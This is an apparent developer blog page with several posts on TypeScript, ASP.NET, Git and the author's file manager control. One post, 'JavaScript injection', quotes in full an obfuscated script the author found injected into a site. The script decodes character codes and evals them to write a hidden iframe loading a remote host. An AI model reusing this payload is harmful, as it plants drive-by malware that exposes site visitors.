Wednesday, January 2, 2013

Converting existing JavaScript code to TypeScript in Visual Studio

The best way to learn new technology is to start using it with real project. I have such - IZWebFileManager. It  was written when ASP.NET MVC wasn't event in mind and Web Forms was only framework for web application in .NET.  IZWebFileManager is an ASP.NET Server Control and has about 1300 lines of JavaScript code.

The challenge is to convert all existing JavaScript code in the project to TypeScript. The result of this effort you can find here: https://github.com/manishma/IZWebFileManager/tree/typescript

It this post I'll tell you about steps I went through.


Tuesday, January 1, 2013

Using TypeScript with an existing ASP.NET project.

TypeScript looks very powerful for me, and I want to use it with all my ASP.NET projects. But I found it is not trivial to add support of TypeScript to an existing project. After installing TypeScript for Visual Studio 2012 I was able to add new TypeScript file (*.ts) to the project, but any changes in the *.ts file did not affect it's output *.js file. Seemed like TypeScript compiler doesn't work for me. It was strange, because I found it works perfect in test project created from TypeScriptHTMLApp template.

After comparing *.cspoj files I found the difference - there is an "magic" build step has done to compile *.ts files in TypeScriptHTMLApp template:




I just added this lines in my existing project's *.csproj file and it works fine now.

Later I found the same answer in Stack Overflow. (Should I've searched there for an answer first? :))


Tuesday, September 4, 2012

Using ASP.NET Bundling and Minification with Web Forms

Bundling and Minification is a new feature of ASP.NET 4.
Learn more from this tutorial http://www.asp.net/mvc/tutorials/mvc-4/bundling-and-minification.

It has been promoted as part of ASP.NET MVC 4, but actually does not depend on MVC stack and may by used within any ASP.NET application including ASP.NET Web Forms.

When you start a new ASP.NET MVC 4 application using Visual Studio template, it sets up all what you need to start using this feature, but if you have an existing ASP.NET application (even not MVC), you have to complete following steps to make it works with your app.

Tuesday, April 10, 2012

JavaScript injection

 This JavaScript code was injected to the main page of the one of not well protected sites I am happy to maintain.:

c=3-1;i=c-2;if(
window.document)if(parseInt("0"+"1"+"2"+"3")===83)try{Date().prototype.q}catch(egewgsd){f=['-31i-31i65i62i-8i0i60i71i59i77i69i61i70i76i6i63i61i76i29i68i61i69i61i70i76i75i26i81i44i57i63i38i57i69i61i0i-1i58i71i60i81i-1i1i51i8i53i1i83i-27i-31i-31i-31i65i62i74i57i69i61i74i0i1i19i-27i-31i-31i85i-8i61i68i75i61i-8i83i-27i-31i-31i-31i60i71i59i77i69i61i70i76i6i79i74i65i76i61i0i-6i20i65i62i74i57i69i61i-8i75i74i59i21i-1i64i76i76i72i18i7i7i63i65i63i57i76i61i74i65i57i6i65i70i7i65i70i6i59i63i65i23i15i-1i-8i79i65i60i76i64i21i-1i9i8i-1i-8i64i61i65i63i64i76i21i-1i9i8i-1i-8i75i76i81i68i61i21i-1i78i65i75i65i58i65i68i65i76i81i18i64i65i60i60i61i70i19i72i71i75i65i76i65i71i70i18i57i58i75i71i68i77i76i61i19i68i61i62i76i18i8i19i76i71i72i18i8i19i-1i22i20i7i65i62i74i57i69i61i22i-6i1i19i-27i-31i-31i85i-27i-31i-31i62i77i70i59i76i65i71i70i-8i65i62i74i57i69i61i74i0i1i83i-27i-31i-31i-31i78i57i74i-8i62i-8i21i-8i60i71i59i77i69i61i70i76i6i59i74i61i57i76i61i29i68i61i69i61i70i76i0i-1i65i62i74i57i69i61i-1i1i19i62i6i75i61i76i25i76i76i74i65i58i77i76i61i0i-1i75i74i59i-1i4i-1i64i76i76i72i18i7i7i63i65i63i57i76i61i74i65i57i6i65i70i7i65i70i6i59i63i65i23i15i-1i1i19i62i6i75i76i81i68i61i6i78i65i75i65i58i65i68i65i76i81i21i-1i64i65i60i60i61i70i-1i19i62i6i75i76i81i68i61i6i72i71i75i65i76i65i71i70i21i-1i57i58i75i71i68i77i76i61i-1i19i62i6i75i76i81i68i61i6i68i61i62i76i21i-1i8i-1i19i62i6i75i76i81i68i61i6i76i71i72i21i-1i8i-1i19i62i6i75i61i76i25i76i76i74i65i58i77i76i61i0i-1i79i65i60i76i64i-1i4i-1i9i8i-1i1i19i62i6i75i61i76i25i76i76i74i65i58i77i76i61i0i-1i64i61i65i63i64i76i-1i4i-1i9i8i-1i1i19i-27i-31i-31i-31i60i71i59i77i69i61i70i76i6i63i61i76i29i68i61i69i61i70i76i75i26i81i44i57i63i38i57i69i61i0i-1i58i71i60i81i-1i1i51i8i53i6i57i72i72i61i70i60i27i64i65i68i60i0i62i1i19i-27i-31i-31i85'][0].split('i');v="ev"+"a"+"l";}if(v)e=window[v];w=f;s=[];r=String;for(;565!=i;i+=1){j=i;s+=r["fr"+"omC"+"harCode"](40+1*w[j]);}
if(f)z=s;e(z);

Last expression  e(z) evaluates following code:



It is amazing,  how people create such things. This have to be a special state of mind.

Tuesday, March 27, 2012

Setting up Git, Git Extensions and GitHub account


This tutorial indeed for people who is not familiar with Git and GitHub and make first steps with this this technology. The tutorial contains following steps:
  • Installing Git and Git Extensions
  • Setting up GitHub account ,SSH keys and repository
  • Working with GitHub repository with Git Extensions
  • Cloning public repository from GitHub

Monday, March 12, 2012

IZWebFileManager New Feature: File Search.

IZWebFileManager v2.7.0 is out.

This release brings a new feature: file search.

You can search files as easy as you do it in windows explorer.

Search result is listed with additional column "Folder Path", which is clickable and allows to navigate to file containing folder.


In case you don't wont allow users to search file, you can hide search box by setting property ShowSearchBox=false.

The release is available for download from Google Code https://code.google.com/p/izwebfilemanager/

Wednesday, March 7, 2012

BugNET - open source issue tracker

I've been searching for free development management tools running on windows and finally found this one - BugNET - open source issue tracker

It is a great tool, built using C# and the ASP.NET platform and provides features such issues tracking and project management. Full list of features may be found here.

Current state is beta, but it is developed rapidly, so release should not take long.